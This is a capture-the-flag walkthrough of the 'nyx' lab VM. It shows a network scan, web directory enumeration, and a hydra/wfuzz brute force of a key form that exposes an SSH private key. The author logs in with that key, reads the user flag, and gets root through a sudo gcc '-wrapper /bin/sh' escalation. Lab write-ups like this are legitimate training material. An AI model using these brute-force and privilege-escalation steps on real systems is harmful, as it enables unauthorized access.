

nyx

For this case our vulnerable machine ip is 192.168.112.141

IP	At	MAC Address	Count	Len	MAC Vendor / Hostname
192.168.112.2	00:50:56:ff:d2:74	1	60	VMware, Inc.	
192.168.112.140	00:0c:29:52:06:be	3	180	VMware, Inc.	
192.168.112.141	00:0c:29:42:c3:22	2	120	VMware, Inc.	
192.168.112.254	00:50:56:f9:36:73	2	120	VMware, Inc.	

```
root@kali:~# netdiscover -r 192.168.112.136/24
```

nmap reveals 2 open ports: 22 & 80

```
root@kali:~# nmap -sC -sV -p- nyx
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-10 21:27 +08
Nmap scan report for nyx (192.168.112.141)
Host is up (0.00069s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 fc:8b:87:f4:36:cd:7d:0f:d8:f3:16:15:a9:47:f1:0b (RSA)
|   256  b4:5c:08:96:02:c6:a8:0b:01:fd:49:68:dd:aa:fb:3a (ECDSA)
|_  256  cb:bf:22:93:69:76:60:a4:7d:c0:19:f3:c7:15:e7:3c (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: nyx
MAC Address: 00:0C:29:42:C3:22 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds
root@kali:~#
```

Using gobuster and medium wordlist from dirbuster, key.php seems to stand out.

```
root@kali:~/SecLists/Discovery/Web-Content# gobuster dir --url http://nyx/ -w directory-list-2.3-medium.txt
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:             http://nyx/
[+] Threads:         10
[+] Wordlist:         directory-list-2.3-medium.txt
[+] Status codes:    200
[+] User Agent:       gobuster/3.0.1
[+] Extensions:     txt,php,html
[+] Timeout:         10s
=====
2020/09/10 21:34:51 Starting gobuster
=====
/index.html (Status: 200)
/key.php (Status: 200)
=====
2020/09/10 21:36:17 Finished
=====
```

Basically i was stuck here as when i tried xato's top 10000 wordlist from SecList, nothing useful came out, so i was going in the wrong direction. Oxatom advised me that i need to use dirbuster's medium wordlist and here we go.

try harder kiddo
can u find the key!?

Enter the key:

Originally, i used hydra to get the correct key and out of curiosity, i tried wfuzz, it works too.

```

root@kali:/usr/share/dirbuster/wordlists# hydra -l '' -P directory-list-2.3-medium.txt 192.168.112.141 http
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or f
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-10 21:31:50
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous ses
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220559 login tries (1:1/p:220559), ~13785 tries per tas
[DATA] attacking http-post-form://192.168.112.141:80/key.php:key=^PASS^:F=kiddo
[80][http-post-form] host: 192.168.112.141 password: admin
[80][http-post-form] host: 192.168.112.141 password: root
[STATUS] 2299.00 tries/min, 2299 tries in 00:01h, 218260 to do in 01:35h, 16 active
[STATUS] 2343.00 tries/min, 7029 tries in 00:03h, 213530 to do in 01:32h, 16 active
[STATUS] 2358.00 tries/min, 16506 tries in 00:07h, 204053 to do in 01:27h, 16 active
[STATUS] 2358.80 tries/min, 35382 tries in 00:15h, 185177 to do in 01:19h, 16 active
[STATUS] 2358.74 tries/min, 73121 tries in 00:31h, 147438 to do in 01:03h, 16 active
[80][http-post-form] host: 192.168.112.141 password: 1165685715469

root@kali:/usr/share/dirbuster/wordlists# wfuzz -c -z file,directory-list-2.3-medium.txt -d "key=FUZZ" --sc
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Ch

*****
* Wfuzz 2.3.4 - The Web Fuzzer *
*****

Target: http://nyx/key.php
Total requests: 220560

=====
ID      Response      Lines      Word      Chars      Payload
=====
100067:  C=302            0 L            0 W            0 Ch      "1165685715469"

```

At this point its the private key of user mpampis which we will use to login later with ssh

```

1 <title>mpampis key</title>
2 <pre>
3 -----BEGIN OPENSSH PRIVATE KEY-----
4 b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAABFwAAAAAdzc2gtcn
5 NhAAAAAwEAAQAAQEA7T94TmbqiRlc6jGh6UOKyKVux+bYoskAd0ybtgCfoh064CTHLMT
6 HNnXWl8sTlMl19svvVGnZZKmDTbS/7u0pgsmv00pmqirCvo0UvD0YhKXVEwkTtmUvBPAX
7 ucGRtefJcCtLWnSc4yMtzbYzSYEuItUWSEfqqTfwjh48fxvLk1/kzn07EknxpLMupf6hJz
8 NbGLLbRwIneIjdC0k6iMdMrZ3n58Cho3kigNKScyBpkePE+RvnCBegtxBX/mlpUjPjYKY
9 zdZ0DR0QyU3t7Wu6iX4TW688adHjAgXP7ERN0tL6RoJB9vHx01GmGt5CLOJBYND1uLoTRe
10 p7xkIPwggwAAA8iiu9/dorvf3QAAAAAdzc2gtcnNhAAABAQDTP3h0ZuqJGVzqMaHpQ4rIpW
11 7H5tiiyQB07Ju2AJ+iHTrGJMctMxMc2ddYjyxPUyXX2y+9UadlkqYNNtL/u46mCya87Sma
12 qKsJwJRS8PRIepdUTCRO2ZS88E8Be5wZG158lwK0tadJzjIy3NtjNjG56W1Rbkr+qpPB+0
13 HJx/G8uTX+T0c7sSSfGksy6l/qEnM1sYsttHAg14iN0LSTqIX0ytnefnwKGjeSKA0pKpzI
14 GmR48T5G+cIF6C3Efff+bWLSM+NgpjNlnQNE5DJTe3ta7qJfhNbrzxp0eMCBc/sRE3S0vpG
15 gkH28fE7UaYa3kIugkFg0P4uhF6nvGQg/DCDAAAAAwEAAQAAQAaUzie0n07yTyuH+0/
16 Zmc37GNmew7+wR7z2m1MvLT54BRwQrFN50fV+y1Pu3Dv44rbX7WmwDgHG2gebzf84fYlN
17 QvkoFTT/Pqjb/QlDwJxdZU3D4LIcmHTYL2vyiLAKZzXK5ILv/pCKA5VJhjYaqeLpiaUImR
18 JIxQsbUe+UixkATgu3c/lkPH4p7P0b7JJVbemK007vzUSK3wzMwSukZs5ZZXKH8L5ypSy
19 CxPe4AUa05IuXekPeq45Q7lUvVKAFdxte438jup4YeyS7lbi2+BggJLt3W4jAlrWxaDhK3
20 /EICIT8zLt+baltm/xrfiRM20xTP2S/6/AQlkbS0aBBAAAQgDTmkPk3pBpmR0tm5KmSK
21 6ub3K0fjCvWslLZcVDH0cFIrgbNkEZPqgEnnRQD7BSBz0I05L1H8VgDR4ZkkgVqKmePhI9
22 Fs3NVsCasih8UubG2TtsGcv0alU+X6zagDiGwxLnRQ81NBmCUBWPB/dFG+dUo9T0XigNQ
23 1lDIs4trUG6QAAAIIEA/Blx0WPyLx4UHGO7RrrKEjWkpw2Ma6iRbQ0o5HfmrJ+mZvUP+qBs
24 +Qgj3g+Qgt6y+EH67oxWeX/xTti1xHAc0Qx59181QrBFojp0XWtRumhASFC/TceBuP1fYe
25 DIzGgYNXN/Pw7PFKStce0/Qhmee+K1/6XRwEvRsvXKG5a7sQ8AAACBAPDrM5bkjXYD9cq7
26 xfkT1t16YzqK9BmgFgS0YfQjtqFult4JtsQhPfp2QZkScyPk8cVNx74Wvs4rxYl5pacmf
27 CR8v83WYMc6h4oBLmcxZsxMpaP8B/N7DZeS76A6idz+Cdj6BTmgMh7xFTXQ0gB6Gh9LZmE
28 KXo/rw1gDQ8R+yFNAAC21wYw1waXNAbnl4AQIDBAUGBw==
29 -----END OPENSSH PRIVATE KEY-----
30 </pre>

```

```

root@kali:/code/keys# ssh -i priv_keys.txt mpampis@nyx
Linux nyx 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

nyx

Last login: Thu Sep 10 08:29:01 2020 from 192.168.112.137
mpampis@nyx:~$

```

user flag

```
mpampis@nyx:~$ cat user.txt
2cb67a256530577868009a5944d12637
mpampis@nyx:~$
```

Seems like gcc could be abused and consulting gtfobins, i basically executed whats shown line by line.

```
mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mpampis may run the following commands on nyx:
    (root) NOPASSWD: /usr/bin/gcc
mpampis@nyx:~$
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on [sudo](#).

```
sudo gcc -wrapper /bin/sh,-s .
```

```
mpampis@nyx:~$ sudo /usr/bin/gcc -wrapper /bin/sh,-s .
# /bin/bash -p
root@nyx:/home/mpampis# cd /root
root@nyx:~# ls
root.txt
root@nyx:~# cat root.txt
root@nyx:~#
```

We saw root.txt here but apparently its 0 byte ;D

```
root@nyx:~# ls -lah
total 28K
drwx----- 3 root root 4.0K Aug 14 18:58 .
drwxr-xr-x 18 root root 4.0K Aug 14 16:58 ..
-rw----- 1 root root 32 Sep 10 09:20 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4.0K Aug 14 17:24 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 0 Aug 14 17:26 root.txt
```